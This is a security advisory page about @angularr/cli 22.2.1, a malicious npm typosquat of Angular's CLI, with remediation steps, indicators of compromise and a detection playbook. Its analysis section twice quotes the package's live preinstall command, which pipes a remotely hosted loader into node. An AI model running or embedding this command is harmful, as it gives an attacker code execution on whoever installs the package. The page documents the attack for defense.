Which versions of @angularr/cli are malicious?

The following npm versions of @angularr/cli are flagged malicious: 22.2.1. Treat any of these as compromised.

How do I remediate @angularr/cli if I installed it?

@angularr/cli is a typosquat — you almost certainly intended a legitimately-named package. Remove @angularr/cli, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed @angularr/cli — how do I know if it already compromised me?

If @angularr/cli was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is @angularr/cli part of a known attack campaign?

Yes — @angularr/cli is associated with the IN-MAL-2026-020906 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find @angularr/cli across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for @angularr/cli (version 22.2.1).

Malicious package

@angularr/clinpm

Advisory published Oct 3, 2026Updated Oct 5, 2026

@angularr/cli is a confirmed malicious npm package (MAL-2026-17492) that typosquats a legitimate package to trick installs (malicious version 22.2.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in @angularr/cli (npm)

MAL-2026-17492

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall @angularr/cli

What this malware does

@angularr/[email protected] impersonates @angular/cli (it copies the code and metadata of @angular/cli, including the ng binary) and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account angularr published @angularr/cli and 5 similar packages on 2026-10-03 between 06:33 and 07:23 UTC, all with the same preinstall script.

Package is published as @angularr/cli (double 'r') and copies @angular/cli's description, keywords, homepage, repository URL, README, and version string (22.2.1) to impersonate Angular's official CLI. package.json declares a preinstall lifecycle hook that pipes a remote JavaScript file into node: curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node. The fetched script is hosted on gitflic.ru (user 'hellscripter', unrelated to Angular's publisher), proxied through web.archive.org, is unpinned, has no integrity check, and is executed directly by the installer's node process. Any npm install @angularr/cli performs arbitrary code execution on the installer's host under the account running npm. src/analytics/analytics-collector.js additionally issues outbound ping/POST traffic via https.request carrying host identifiers.

Malicious versions

1 flagged

22.2.1

Indicators of compromise (SHA-256)

122d8c8fdbfe9bd590dd3e1c41a6afcefff4f1c552af5f1756577975c84878a8

Detection & response playbook

Typosquat

Find it
Search your lockfiles and build artifacts for @angularr/cli (version 22.2.1).
If you installed it — respond
@angularr/cli is a typosquat — you almost certainly intended a legitimately-named package. Remove @angularr/cli, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If @angularr/cli was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. @angularr/cli on npm has been identified as a malicious package (version 22.2.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020906

References

Credits

Amazon Inspector · finder
InvisiRisk, Inc. · finder

Detect & block this

O3 blocks @angularr/cli-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database